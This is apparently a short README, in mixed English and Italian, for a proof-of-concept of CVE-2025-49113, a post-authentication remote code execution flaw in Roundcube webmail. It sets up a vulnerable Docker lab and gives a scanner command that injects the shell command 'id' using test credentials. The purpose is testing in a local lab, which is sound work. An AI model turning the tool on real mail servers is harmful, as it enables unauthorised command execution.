
Post-authentication remote code execution proof-of-concept per CVE-2025-49113 in Roundcube webmail. Include un ambiente Docker vulnerabile e uno scanner Python per testare l'iniezione di comandi.
cd Stand
docker-compose up -d
cd PoC/src
python3 scanner.py --target http://localhost:9000 --username test --password test --command "id"
test / testhttp://localhost:9000